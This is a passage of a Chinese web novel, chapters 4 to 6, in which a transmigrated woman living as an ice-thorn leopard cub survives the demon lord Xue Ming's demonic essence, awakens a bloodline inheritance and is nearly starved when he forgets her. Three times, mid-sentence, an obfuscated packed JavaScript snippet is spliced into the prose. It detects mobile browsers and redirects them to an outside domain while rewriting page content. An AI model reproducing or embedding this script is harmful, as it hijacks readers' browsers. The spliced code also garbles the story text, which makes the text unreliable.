云宛白就感觉自己的喉间滑过了什么,还没咂吧出来什么味儿,就两眼一黑,完全失去了意识。 4. 第 4 章 血冥根本不知道自己做错了什么。 他只不过是看小豹太饿,就在指尖祭出了一粒魔豌大小的至纯魔息喂给它而已。 这可是魔族人趋之若鹜的好东西,只要一丝就能提升境界,甚至还能突破天赋与潜能的桎梏,当真无价之宝。 他连赏给身边得力魔使的次数都不多,还有什么不满足的。 鉴于宿庚的老实形象令血冥印象深刻,他并没有深究宿庚大呼小叫的罪过,而是耐心问他缘由。 宿庚如鲠在喉,他是真的被尊主的大手笔给吓到了。 至纯魔息确实是个好东西,洗经伐髓再造筋骨,最重要的是能够提高修炼的上限,就算对妖兽来说也是不可多得的世间至宝。 但是,成年魔使吞食这样大小的粗制魔息,尚且都会去半条命,若是意识不够凝练的,爆体而亡者也不在少数。 所以说,尊主您给一只刚出生没几天,强行睁眼扑腾的小奶豹吞这个。 是嫌它活太久呢,还是觉得它命太硬呢? 待宿庚耐心解释过后,血冥眉头一挑,漫不经心道:“原来如此。” 他确实是不知。 对他而言,魔息就和吐纳一般与他融为一体,对他没有任何影响。 他又怎能体会弱者们的感受。 毕竟对他而言,弱小无力的滋味早已成了远古的历史,即便回忆起来也只剩下了一阵麻木的虚幻。 唯有恨,唯有怒火,依然时时刻刻灼烧着他的心。 比起这点,魔息的折磨简直微不足道。 “无妨。” 顶着宿庚心疼纠结的眼神,血冥淡然地把昏迷过去的冰棘豹丢回给了宿庚。 宿庚手忙脚乱地接住,稳稳抱在怀里,就听到尊主一贯的冷漠声道: “若是这点东西就吃撑了,那它就不配被我带在身边。” “它若死了,我不会责怪你。” 他的意思很明确,不管结果如何,统妖司不会因此受到牵连。 但宿庚听了之后却没有太多轻松的滋味。 冰棘豹是他带来的,本以为能找准机会带它一飞冲天,却没想到会害豹儿落得进退两难的地步。 诚然,尊主给豹儿的确实是难得的好东西,可是到底能不能吸收消化,这对这么幼小的它来说简直就是生死关! 宿庚深吸一口气,没敢表露出太多情绪,只躬身道:“尊主,那我就带它先下去了。” “去吧。”血冥挥手。 宿庚点头,刚转身就听到尊主说:“等等。” 血冥改变了主意,指了指偏殿:“就放在那吧,我给它一天的时间。” 一天。 无论生死,尘埃落定。 然而,宿庚并没有因为尊主额外开恩,准他留在魔殿而喜不自胜,面色反而更加凝重了。 尊主的语气越是稀松平常,就越说明豹儿的重要性。 他当机立断让其他妖使们速来帮忙,在尊主下令的魔殿角落里赶紧布置,把所有利于豹儿活下去的用具统统摆上。 一定要挺过来啊!! —— 只痛了一瞬间的云宛白,一脸懵的清醒了过来。 但她此刻并不在自己的体内,而是来到了一个纯白色的明亮房间。 这里是她的意识空间。 往常她翻阅原著的地方就是在这,只不过现在,她的意识空间好像变的更大了,还增添了一个大件——大屏幕。 “咦,这不是我吗?” 云宛白一脸新奇的凑了上去,看着大屏幕上那只因为疼痛难忍,肚皮正快速起伏呼吸的小奶豹。 一秒钟前,感受疼痛的还是她本豹。 结果现在,直接跟挂机一样脱离了痛感。 不得不说,云宛白到现在为止,总算有了拥有金手指的真切实感。 原来我这还是成长型金手指啊。 拥有了上帝视角的云宛白,这才有时间恢复思考。 方才因为疼痛突然晕过去,她都不知道发生了什么。 好在大屏幕上的内容能够后退播放半小时以内的内容,虽然没有字幕,但云宛白也从宿庚的口中明白了事件始末。 “……” 感情给我一个虚不受补的人,直接来了一碗超级大补汤,还是不管死活的那种。 云宛白有些无语,对魔尊血冥的刻板印象再次增加了。 这个男二,活该当男二。 不过气愤只是一时的。 云宛白很快意识到,结合现有的金手指,血冥送给她的夺命魔息,简直就是她努力苟活下去的最佳补品! 痛感没了,挂机即可。 而且看大屏幕上豹儿的反应,那就和AI托管是一样一样的。 虽然没办法做出最佳反应,但起码不会表现的太差。 这就给了云宛白足够的精力脱离出来思考对策,也增加了她成活下去的概率。 但,完全没有痛觉也很危险。 云宛白思忖了一会儿,有些迟疑地凑到像水波一般的屏幕前,缓缓抬手,想要去触碰那阵阵涟漪。 就在她指尖接触波纹的那一刻。 “嘶——痛!” 云宛白飞快收回了手甩了甩,一阵龇牙咧嘴,但眼睛却是前所未有的明亮。 这就是方才她消化魔息的痛楚!一模一样! 这下云宛白更加领悟了金手指的好处,毕竟自己可没有什么所谓的忍痛意志,遇到自己撑不住的就果断让金手指托管,疼痛程度可以靠触碰屏幕获取信息,保证自己的根基不受太大损伤。 要知道,大多数的失败并不是身体扛不住,而是意志吃不消。 但现在,金手指帮她解决了最为棘手的意志问题。 这样一来,她的修炼计划就可以大刀阔斧的进行了! 抱魔尊大腿不假,但打铁还需自身硬。万一血冥救不到自己,难不成原地等死吗? 更何况,既然能抱到大腿,怎么能不薅薅腿毛。 修炼,必须修炼! 云宛白的斗志燃起来了。 就在她灵台一片清明时,她的金手指之一:原著小说,也发生了变化。 就在它的旁边,缓缓浮现出了另一本书,书名空白,但前几页的内容明明就是云宛白她自己的故事。 思路通了。 看来靠自己硬扇蝴蝶翅膀来改变原剧情,确实是一个被金手指肯定的正确思路。 云宛白坐在一旁整理目前为止她得到的所有信息,重新制定起接下来的工作计划。 考虑到自己是个变数,但在实力强劲起来之前,小说的大体趋势都不会变。 我得在局势变得复杂起来之前,起码有一定的自保能力,以及让血冥对我养成一定的护犊子本能。 这个魔息是个好东西,作为新手礼包算是非常不错的了。 在魔界,变强是唯一宗旨,自己只有展现出强大的一面才能让魔尊高看一眼,看他的行事风格就知道他不养闲人。 当然,对于自己来说,脸面不算什么,活下去才是最重要的。 苟字诀贯穿一生。 要抓紧找到血冥的阈值在哪里才行,要是作死过头那就直接寄了。 但是不作死就肯定会死,这个尺度她得好好把握才行。 从年计划月计划到周计划,云宛白有条不紊地安排着,越想越带劲,越写越憧憬,好像目标写出来就等于实现了一样。 以前让她写个日报都心不甘情不愿,现在的她恨不得把五年的计划都写出来激励自己。 攻略这么做下来,我的前途还是很光明的嘛! 冰棘豹的本体正在系统加持之下,维持着最基本的生命特征,有惊无险地吸收着魔息的能量。 而云宛白还在研究如何更加高效地运用金手指,过于亢奋,根本睡不着。 功夫不负有心人,虽然金手指没有说明书,但云宛白还是探索出来了一点东西。 比如她可以把身体支配权开到50%,替本体分担一半的痛感。 这样一来,不仅魔息吸收进度会加快,她也能在承受范围之内锻炼自己的疼痛忍耐能力。 全靠金手指的话,人会懒惰。 她云宛白可不打算把所有筹码都压在别人那里。 等过了最痛的劲之后,云宛白现在倒觉得身体上的痛就像是吃到太撑一样,非常的胀痛,但能忍受。 她的鼻子处自动地喷出了冰息,威力不大,却肉眼可见地越发凝实。 骨骼也在咯咯作响,似乎被什么东西撑开了,整体看来颇为肿胀。 只能说魔息实在是太补了,效果很明显。 宿庚又是欣慰又是心疼地揉了揉它的脑袋,豹儿对魔息的吸收速度显然超出了他的想象。 可豹儿如果吸收的不够快不够狠,那就只有一个被爆体而亡的下场。 加油,再加把劲! 宿庚一咬牙,直接把压箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879089|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底的紫蒻草取出剁碎,轻柔地喂到豹儿的嘴里让它含着。 这株草在统妖司的地位不亚于人类世界中的千年人参,可遇不可求,基本当镇司之宝供着。 但现在就这么轻易地到了她的嘴里。 云宛白记着这个情,调大支配权狠狠吸收。 可恶的魔尊! 等哪天我翻身了,定要把这些通通压榨回来! 人果然不能念叨另一个人。 在心里对着魔尊咬牙切齿完之后,到了半夜,血冥居然真的朝着她走过来了。 而宿庚他们不知道什么时候躺在地上呼呼大睡,戒心全无,完全不像平日里值夜班精神抖擞的样子。 猜都不用猜,肯定是魔尊放倒的……该死,他过来干嘛!? 云宛白立马调出大屏幕,紧张兮兮地开启第三视角。 月光从旁边的窗户里透进来,一点点地洒在了血冥的身上,为他更添一丝诡魅。 此情此景,云宛白又忍不住歪了个楼。 她算是知道为什么魔尊血冥会成为全文呼声最高的男二了。 还真别说,他的身材和长相很符合魔尊人设。 白天那个时候没注意,现在开了上帝视角,倒是更容易客观地观察他的样貌。 他很高大强壮,但这种强壮并不是常驻健身房练成牛蛙的壮,他看着不夸张。 而且他的身材比例相当完美,背肌发达肩膀宽阔,偏偏腰又是细的,让人无端联想到虎背蜂腰这个词。 尤其在穿上魔铠之后,将他充满雄性激素的身材线条全部勾勒了出来,气势强大,让人绝对相信他的每一块肌肉都蓄满了能量,正危险地蛰伏着。 这样的人能杀穿三界,就令人信服的多。 但他似乎也有着他脆弱隐藏的一面。 一头的黑发似乎用一根红绳随意束起,魔铠之下是绸缎般的黑色长袍,随性混搭。 单论外貌的话,他并不像是文中所描述的恶人反派,如果不是黑色的魔气萦绕在他的四周,倒显得像是一位翩翩君子。 唯有他的眼神令人看不透猜不透,隐隐带着些邪性,很不好惹。 只是此刻煞气被月光柔化了些许,显得有些深邃和冷漠。 他愈发走近了,云宛白的心也愈发提起。 只见血冥在她面前站定,伸出指节分明的大掌,直接覆盖在了云宛白脑袋上,力道有些重。 云宛白被吓了一跳,她感觉这一掌大到能直接把她的头盖骨拧碎,顿时色心全无。 靠,我好不容易快消化完这要命的魔息,结果你大半夜跑过来还是不想看我活着,非要让我直接嗝屁?! 云宛白很慌,她计划好的预案再一次全部落空。 她能计划好自己的未来,却无法预判反复无常的血冥。 这哥,真的是癫公吧! 骂归骂,保命还是要保的。 云宛白当机立断,试图重新唤醒血冥那扭曲的萌感,努力控制肢体来实现她计划的动作。 但因为身体正在吸收魔息,这极大地干扰了她对身体的掌控度。 不行也得行,身体听令! 血冥也不知道自己为什么站到了冰棘豹的面前。 他只是有些睡不着,以及他无法判断自己冲动而下的决定到底有没有意义。 大敌当前,我却要培养出一个弱点。这不是自己给自己增添难度吗? 血冥发誓,他的杀心就这么起了一瞬,或许连他自己都没有意识到。 但这份杀气却被面前的冰棘豹捕捉到了。 身体一抽一抽的豹儿突然浑身僵直,很是用力地龇牙。 哪怕它还没长出牙齿。 呵,戒心真敏锐。 虽然很弱小,但勇气可嘉。 “倒也便宜你了。” 血冥嘴上说着放任不管,死了就死了,但现在却揉了揉它的脑袋,大掌捏拳伸出指尖,轻轻点在了它的额心之处。 肚子不舒服的感觉一下子没了,反而像大冬天里喝了一杯热水一样暖洋洋的。 很显然,血冥在帮她消化魔息。 本来靠系统倒也能忍,但是有了魔息主人血冥的帮助,现在吸收魔息简直成了一种享受。 云宛白舒展了原本紧皱的眉头,发出了喟叹的嘤嘤声,舒服到连之后的预案都没做,就渐渐进入了梦乡。 迷迷糊糊间,她忍不住想: 这个血冥,真的是一个很奇怪的魔啊。 5. 第 5 章 待冰棘豹缓缓阖上眼睛之后,血冥收回手,轻轻摩挲了一下指尖。 真别说,小家伙的触感还不错。 只是他不敢太用力,这么脆弱的小生命可经不起他逗。 他总算是想开了,犹犹豫豫不是他的性格,没道理比神思渺还瞻前顾后。 等魔尊悄无声息地离开之后,又过了一炷香的时间,留夜值守的宿庚这才颤颤巍巍地睁开眼睛。 猛然意识到了什么,他一个翻身去探冰棘豹的鼻息,发现比之前要强劲有力地多。 他拼命抑制住内心的欢喜,再一探经络,已经能察觉到一缕魔息正在豹儿体内匀速运转。 哈哈哈!! 宿庚捂住嘴,无声大笑了起来。 好豹儿,真争气! 统妖司这下可真要成了香饽饽喽。 …… 一觉起来,神清气爽。 云宛白感觉到了一种前所未有的活力,这让她在苏醒时忍不住伸展四肢,狠狠地抻了个懒腰。 咯噔,咯噔。 她的骨头发出了噼里啪啦的响动。 不知道是不是错觉,她的四肢似乎也在随着声音不断拉长。 她这一个懒腰,从左边弯腰扭曲翻到了右边,眼看着无处安放的大长腿到了摇篮的边缘,身体重心即将失控,摇篮顷刻间就要被打翻之时—— 大保姆宿庚刚一睁眼就看到了如此惊心动魄的一幕,虽说有了魔息的滋养,冰棘豹理应变得极为耐摔。 但当家长的才不会这么想,他这时候只怪自己为什么要把摇篮放的这么高,怎么就没有在它周围做好安全措施? 宿庚当机立断,用魔气织成一张大网就要甩过去,可他施法速度还是不够,眼见着冰棘豹就要摔个大跟头的时候! 噗——呲!!!! 空气中的水分像被一只无情的大手狠狠攥紧,如同冰块裂开的声音一样,在云宛白摔到地上的那一刻之前凝结成了冰,迅速与地面相连接,将她稳稳托住。 甚至还有冰雾充当防摔“棉花”,挡在了云宛白和凝冰中间作为缓冲。 这件事发生的极快,不仅宿庚没有料到,就连施法本人云宛白都很是傻眼。 她完全凭本能释放的动作,根本没想到效果如此卓越。 看来这至纯魔息,抛开副作用不谈,是真外挂装备。 连我一个新手菜鸟都能直接一脚踏进了修炼大门,从此以后变成天纵奇才? 没等她想明白这件事,有一道更为寒冷的气息从她眉心猛然冒了出来,那接近透明的火焰将她层层包裹,在四周划出了一道荆棘般的冰刺,张牙舞爪地咆哮着。 云宛白已经分辨不出到底是热还是冷,她的意识被拽入到了另一个空间,看到了和她长得一模一样的冰棘豹,不,是冰棘王豹的身影。 【吾之传承者……】 是刻入血脉的低语,让她恐惧但又激动战栗! 血冥在侧殿休息,无聊间通过窥影之镜观察着冰棘豹的情况,见到这一幕,他倒是有些惊奇。 “冰棘王豹嫡系的传承记忆?” ……有点意思。 妖界在被自己一统之前,许多远古传承就已经接近凋零,不再出现。 据他所知,只有血脉极为纯净的王族嫡系才有可能再次打开传承之门,获得血脉觉醒。 而这种可能性,也已经低到了万里挑一的程度,起码在他一统妖界之后,就再也没有听说过有谁觉醒。 而自己决定要养的小豹,居然就是这万分之一可能性的拥有者。 自己的魔息只是一部分诱因,就如同催化剂能将它的觉醒的时间提前。而本质上,还是豹儿的根骨奇佳足够争气。 血冥根本没有所谓养虎为患的担忧,他反倒觉得自己眼光不错,看中的第一只宠物就是妖界的修炼天才。 果然,我血冥看中的家伙岂能平庸。 听说神思渺的白猫到现在都没学会多少低阶法术,又怎能比得上我的小豹? 或许等小豹再长大一些,就可以让她和白猫碰一碰,互相切磋切磋。 希望神思渺别太心疼他养的小废物。 血冥微微扬起下巴,透露出了一丝不易察觉的愉悦。 不过窥影之镜的视角终究有限,比不过自己亲眼所见,血冥对它的透明火焰很感兴趣,也不知道这个小家伙到底还有多少惊喜能带给他。 还是让它待在自己附近吧,多少方便一些。 打定主意之后的血冥就这么做了,宿庚忙上忙下帮忙布置,把豹儿从偏殿挪到了侧殿,也就是尊主大人平日里就寝的地方。 宿庚又鼓起勇气,冒着大不敬的风险对魔尊嘱咐了一些养育技巧,心中满是对豹儿的担忧。 血冥却不以为然。 养个宠物能有多难? 喂点吃的,让它别死不就行了。 看着魔尊如此神情,还颇有些不耐烦的挥手让自己退下,说没事不用回来照看,宿庚更觉得不靠谱。 但是尊主发令,他哪有不听的道理? 心疼地看了一眼豹儿,宿庚含泪退下,强烈的戒断反应在他的职业生涯里直接达到了顶峰。 云宛白还没来得及翻看系统帮忙存储的上帝视角记忆,她已经被传承记忆完全吸引了心神。 这就跟游戏里的新手引导一样,她可以跟着强大的祖先练习技能,并且在练习当中,她能感受到自己的体魄已经接近了未来的最强巅峰期,四肢当中蕴含着恐怖的力量,只要一跺脚就能用冰刺穿一切。 完全不是现实当中小菜豹那样的孱弱。 她感觉自己充满了力量,一个打十个完全不是问题,这种强大的感觉简直令人上瘾! 但记忆传承是有时间限制的,她血脉中的声音告诉她,她只有这一天的时间来体悟。 总之赶紧继续练习吧,有系统帮自己复刻传承记忆,后期翻看起来不是问题,但传承长老的亲自指点可不是想重来就重来的。 所以,在云宛白投入练习的时候,她完全不知道自己已经被新饲养员血冥接手,也不知道自己接下来会面对如此惨淡的人生。 不,豹生。 …… 这是血冥养崽的第一天。 说实话,他很难适应原本属于自己一个人的空间中,突然多了另一种生物。 即使冰棘豹呼吸的声音很浅,乖巧到不发出任何其他的声音,血冥还是觉得格外不适应。 他想睡,但是睡不着。 斜靠在榻边看着冰棘豹,过了一会儿也看腻了,还是之前侧殿与偏殿的距离更加合适。 养崽好像并没有多大的乐趣,反而觉得有些……麻烦。 出于责任心,血冥接下来的公务都在偏殿内进行,每位进门的魔使都注意到了这只小奶豹。 且不管他们内心中到底闪过了怎样的思考和领会,表面上都目不斜视,忠心汇报。 就在血冥拼命按捺住自己愈发狂躁的内心时,云宛白周身的火焰终于慢慢熄灭,围绕着她的冰棘也逐渐升华成了一层雾气,最终飘散不见。 血冥松了一口气,立马从工作状态中退出,挥散了所有人,一把抓着云宛白的后脖颈提了起来,很不客气地打量着它,观察她到底发生了什么变化。 云宛白还在回味在传承记忆当中强大的自己呢,结果就这么冷不丁的起飞了。 强大与弱小在此刻形成了强烈的对比,她悲愤异常,脸都气红了。 搞咩啊死男人!!! “还挺活泼,”血冥自言自语,另一只手捏着她的关节检查,“好像更结实了一点,没原来那么容易捏碎。” 又顺手撸起了她的尾巴,原本柔顺丝滑的毛都应激的变成了冰棘豹特有戒备形态下的根根尖刺,随时能够发射冰锥。 但遇到了三界最强者血冥,她的尖刺硬生生被他周身逸散来的魔气,强行逼退回了柔软可怜的绒毛。 对此,血冥毫无所知。 他怎么知道自己收起来的力量,对于云宛白来说也压迫非常。 想起来了宿庚的叮嘱,他把云宛白放回了宿庚新制的加大版摇篮,摇篮旁放着准备好的饭盆水盆,准备看它进食的时候,一只纸鹤从挂画里飞了出来。 血冥将纸鹤展开,上面写着青鹏仙人新得了一件法宝,欲与他切磋,以报上回惨败之事。 血冥蔑笑了一声。 真是什么阿猫阿狗都以为能打败自己吗? 他记得这个青鹏,热衷收集各种法宝,总想着用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879090|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外物来武装自身,实际实力不堪一击。 但不得不说,他的有些法宝确实有点意思,给人一种无法预估的惊喜。 而且来一件废一件的感觉,配上对方气急败坏的神情,更令人神清气爽。 在停战期间,血冥能获得的乐趣也就只有这些了。 他爽快赴约,完全忘记了埋头干饭中的云宛白,也忘记了自己新晋铲屎官的角色。 直到云宛白打了一声饱嗝,回望四周才发现……哎,血冥人呢? 算了,也不是很在意。 有个大反派在,云宛白自己也觉得怪别扭。 萌宠可不是那么好当的,当惯了人,光是现有角色认同感就能让她适应很久。 不过云宛白向来能屈能伸,为了更好地活下去,她还是决定先同步一下系统存档的记忆。 然而看完了之后,天也暗了,血冥还没回来。 云宛白摸了摸肚子,倒也不是很饿,还能再顶一会儿。 到了夜半三更,肚子逐渐罢工咕噜咕噜响。云宛白饿的睡不着,这还是她穿书之后头一回没按时吃饱饭。 试图推开大门去找宿庚,云宛白此刻还抱着一丝幻想,这附近总有人管自己死活的吧。 好歹也是魔尊的头号宠物,不得有点小权势? 但血冥临走前从外面随手挥了一道禁令,防止他人进入,平日里,魔使在他的命令之下也不会靠近此处。 虽然魔殿中并没有什么值得偷盗的东西,但血冥就是不喜欢别人进他自己的私人领域。 这完全是他无意为之,他真忘了自己房间里还有一个小家伙在。 此刻在另一边,血冥正打的酣畅淋漓。 青鹏新到手的法宝跟个龟壳似的,既能吸收力量防御,又能释放力量攻击,十分耐打。 血冥玩的不亦乐乎,他难得能放开手脚,自然要打个尽兴。 至于青鹏示意投降的手势,他装作没看见。 看看你的龟壳挨我几拳才会裂! “血镰!破!” —— 云宛白很饿,她扒拉门半天都没有任何的反应,用自己仅剩的法力试图轰开大门,门也纹丝不动。 云宛白快绝望了。 她的金手指可没有囤货美食功能,更没有随身空间能让她种田自给自足。 从没见过如此没有责任心的铲屎官!她愤愤控诉道。 难不成我云宛白,最终的穿书之旅就这么终结在了饥饿上? 太丢脸了吧…… 云宛白的生存智慧正在疯狂运转,她搜刮着来自前辈们的传承记忆,尝试让自己对抗进食的本能。 很好,还真有一招。 简单来说就是进入超级省电模式,努力熬到充电的时刻。 虽然血冥不辞而别,根据小说推断,百分百跟人约架去了,但云宛白猜他两日内肯定回来。 作为合格的魔尊,在没有特别行动的情况下,他都是会回来听工作汇报的。 赌吧,赌我饿不死,赌我能熬到他回来。 云宛白认命地闭上眼睛,屏息凝神,她的身体凝出了一缕蓝色冰雾,逐渐凝成一块核桃大小的冰核,缓缓送入她的口中。 她的呼吸逐渐趋于平静,心跳也进入了极为缓慢的状态,然后…… 她就进入了意识空间,沙发瘫的等待奇迹出现。 顺带一提,自从有了法力之后,她可以在意识空间变换出一些物品,这些物品跟她的能力挂钩。 不过目前,也就只变出了一个沙发。 不知道过了多久,房间亮了又暗暗了又亮,就在她的意识空间也快要进入终极省电模式之时。 砰的一声——! 刺眼的白光照了进来,迷迷糊糊之间,云宛白好像看到了重影,眨眨眼试图清醒,貌似是她熟悉的面孔。 是……? “天呐,我的豹儿!!!”眉间带着一抹忧色的宿庚,在见到龟息状态下的云宛白那叫一个惊声尖叫,平日里稳重的老人家不顾形象连滚带爬地撞了过来。 而这一刻,云宛白终于体会到了什么叫做娘家人来撑腰时的热泪盈眶。 宿庚爷爷!我饿!! 我快饿死了呀呜呜呜呜呜!!! 6. 第 6 章 “唉,尊主他当真是……好豹儿饿坏了吧?” “不急,慢慢吃,还有,还有啊。” 宿庚慈祥的大掌轻柔抚摸着豹儿,看她饿急的整张脸都埋到饭盆里,吭哧吭哧像个小猪,又好笑又心疼。 他可不敢说尊主的坏话,但是说真的,尊主在养宠这件事上做的确实不地道。 怎么能锁门外出好些天,又不给豹儿备上足够的吃食呢? 就算不准备,通知我来照顾一下豹儿也好啊。 而不是等我担心地从司里溜号过来,却发现鲍尔已经被锁了两天,在无法破门且联系不上尊主的情况下,只好强行动用了统妖司唯一一块尊主令破门而入。 “唉……” 宿庚很是心疼,心疼豹儿,也心疼尊主令。 这块令牌堪比赦免令,是统妖司屹立不倒的最大保障,他也不知道把如此珍贵的令牌用在此刻到底是值还是不值。 但总之,这不是豹儿该去承担的事情。 宿庚什么都没说,而是一下一下抚摸着它,一边思忖着等尊主回来,他到时候该怎么自圆其说。 …… “青鹏,你就这点本事?” 血冥悠悠地飘浮在空中,背着手,居高临下地看向他。 只见青鹏仙人瘫倒在地,嘴角的血止不住地流淌,浸湿了半边土壤。他的周身都是破碎的龟甲,满地狼藉。 青鹏闭眼,将喉间的血水艰难吞下,完全没了最开始挑衅叫嚣时的得意。 “都说了投降……” 血冥充耳不闻:“仙人有仙骨,岂能向魔族低头,青鹏,本尊这是在帮你。” 青鹏暗自叫苦,却不敢表露出半分。 谁都知道和血冥打斗的下场,虽然在三界制衡的条约之下,挑战他并不会危及性命,但一顿苦头是少不了吃的。 想他堂堂一个闲游四方的闲散仙人,原本活的多么潇洒恣意,可现在却被仙界下了死命令,命他不停地用各种法宝来试探记录魔尊的最强一击以供仙界思考对敌。 收集法宝本是他的一大爱好,如今却成了痛苦的根源。 得到一件便毁灭一件的感受,比杀了他还难受,即便仙界会予他足额的赔偿,他也难以平复心中郁结。 血冥!这个魔鬼! 魔尊血冥对青鹏的感官倒是不错,这段时日接触下来,对方变得越来越耐打了,成长速度很是可观。 他岂能看不出仙界的意图,每月都能搜集到一两件强大的法宝,这可不是普通仙人能够做到的。 更何况青鹏的演技并不高超,连自己特意的配合都没看出来。 不过除了立场问题之外,青鹏的性格确实纯粹,血冥也乐意与他交手切磋。 所谓知己知彼,百战不殆。 见战事停止,青鹏座下的神鹿耳朵一动,远远地飞速跑了过来,心疼地用角顶了顶主人的手,又扭头愤愤瞪了一眼魔尊。 当面吐口水它是不敢的,没见自己主人都毫无招架之力吗? 魔尊就当做没看见这小家伙的怨懑,挥手帮忙托起青鹏,将他轻放在神鹿背上。 每回应约前来,他都是如此帮忙善后,也亏得神鹿通人性,又会治疗的法术,也算是忠心耿耿的好坐骑了。 ……等等,我好像忘了什么? 血冥平静的表情突然出现了一丝裂纹。 他终于想起来,自己好像还养了一只冰棘豹。 也终于想起来,自己出门前把门给锁了。 “……” 不再迟疑,他迅速转身离开,飞速往魔殿的方向赶回去。 越想他越觉得头疼,仔细想来,自己已经在青鹏这里逗留了三天三夜,还不包括来回路程耗费的时间。 一般的宠物,饿上了个四五天的话,是不是就已经…… 血冥的眉头都拧起来了,虽然他寄希望于统妖司最负责任的妖使长,但是,他也记得很清楚自己在临走前给魔殿下了禁制,没有人能够打开它。 希望小家伙还挺得住吧…… 这些胡思乱想,直到他抵达魔宫,看到敞开了的魔殿大门以及在魔殿外忙碌的妖使们,才化为了一阵松气的长叹。 他也不明白自己面对下属为什么会有心虚的情绪,总之,他颇有些艰难地向大门口走去。 血冥的眼神很好,他一眼就看到了宿庚的身影,以及宿庚怀里明显瘦了一圈的冰棘豹。 冰棘豹估计熟睡着,没注意到自己。 与此同时,宿庚也发现了魔尊的身影,他把豹儿转交给他人,自己迎上前,迅速把准备好的腹稿又背了一遍,硬着头皮开口后深深行礼:“……尊主。” “嗯,免礼。” 气氛很是尴尬,双方的内心中都有着自己的纠结。 尤其是血冥,他尴尬到全然没有了平日里的气势。 作为魔尊,哪怕横扫三界对战仙门时,血冥都没有犯过这么低级的错误。 他承认是自己疏忽了,他还没有明确意识到身份角色上的转变,也没有担起该担当的责任。 只是这些话让他对下属去讲,他开不了口。 出于想要缓解这冰冷的气氛,血冥摸了摸鼻尖,问道:“你是,怎么进来的?” 宿庚心里一紧,他最害怕的问题终究还是来了。 “属下……属下动用了统妖司的赦免令打开了魔殿禁制,还请尊主责罚!” 扑通一声,宿庚便重重跪倒在地。 周围的妖使们也都跟着匍匐在地上,大气也不敢出。 就算事出有因,闯入尊主寝宫也是极为失礼甚至可以说的上是以下犯上的举动。 听他这么一说,血冥才想起来当时一统妖界创立统妖司的时候,自己好像是给过他们一块赦免令。 只是,在魔界无比珍贵的赦免令居然被用在这种时候,这让他更觉愧疚了。 “起来吧,这不是你的错,你做的很好。”血冥安抚道,并没有怪罪下去。 若是冰棘豹就这么饿死了,他魔尊的脸面才真真正正的被丢尽。 且不说旁人,他都不敢想象若是让神思渺知道了这件事,对方会如何说教自己。 想想就头皮发麻。 更何况自己既然打定了主意要养这个小家伙,就不可能让明明做了正确事情的下属寒心。 “特殊情况特殊对待,宿庚,本尊会再给统妖司一枚特赦令,往后你就同那些魔使一样拥有魔殿的出入权,至于统妖司的其他人,他们可以在除魔殿之外的魔宫内走动,但每次前来不能超过两人。” “是!尊主!” 宿庚大喜。 没想到尊主不仅没有怪罪他的冒犯,还把他的权限提到了令人艳羡的近臣等级,这是只有三门五堂的人还有尊主身边魔侍才有的待遇,简直是意外之喜。 他领命带人退下,把空间留给尊主与豹儿,好让他们重新培养感情。 他自己则要回统妖司好好告诉大家这一好消息! 现在的时间留给血冥了。 他轻叹一口气,朝着冰棘豹走去。 本以为差点被饿死的小豹在看到自己时总归会有些怨念,可他万万没想到,小家伙居然平日里还要乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879091|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺。 从它傲娇的小眼神中可以看出,虽然有气,但并不责怪他。 云宛白不搞恃宠而骄的那一套,更何况她都还没俘获铲屎官的心,怎么可能去作去闹。 男人嘛,技巧都通用的,最吃的就是一个反差。 他开心的时候可以随便气他,他不开心的时候就去哄一下他。 反正这种套路云宛白在职场上用的极为娴熟,用儿童心理学拿捏了无数奇葩领导和甲方。 作为一个不走心只想成就大事的女人,这点表面功夫,她练的还是相当到位的。 看得出来现在血冥已经很内疚了,这时候给他点好脸色准没错。 既然选择了好好苟下去,那就不要太斤斤计较一些细节,总归自己并没有被饿死,不是吗? 云宛白想得很开,她不是一个钻牛角尖的人,更不会对一个陌生人抱有莫名其妙的幻想。 生气?没必要。 血冥果然更沉默了。 他没想到自己养了没几天的冰棘豹居然如此懂事,倒显得他这个主人很不懂事。 按血冥的性格来说,他要么不做,要做就要做到最好。尤其是经过这一次的事件之后,他反思了许多。 虽然养宠物很是麻烦,但不能因为怕麻烦就不去做。 血冥暗下决心,他一定要在冰棘豹上投入更多的心血,好好培养一段时间之后再带去给神思渺瞧瞧,最好能与那弱小的白猫形成鲜明对比。 他觉得自己的能力比起神思渺自然要强上不少,即便是养宠物这件事,他也一定可以做得更好。 …… 作为魔尊,血冥的一举一动甚至是一个眼神,都会被整个魔界加以揣摩。 统妖司因冰棘豹的受宠重新走回到魔尊的眼中,这件事很快便在魔界刮起了一股新风。 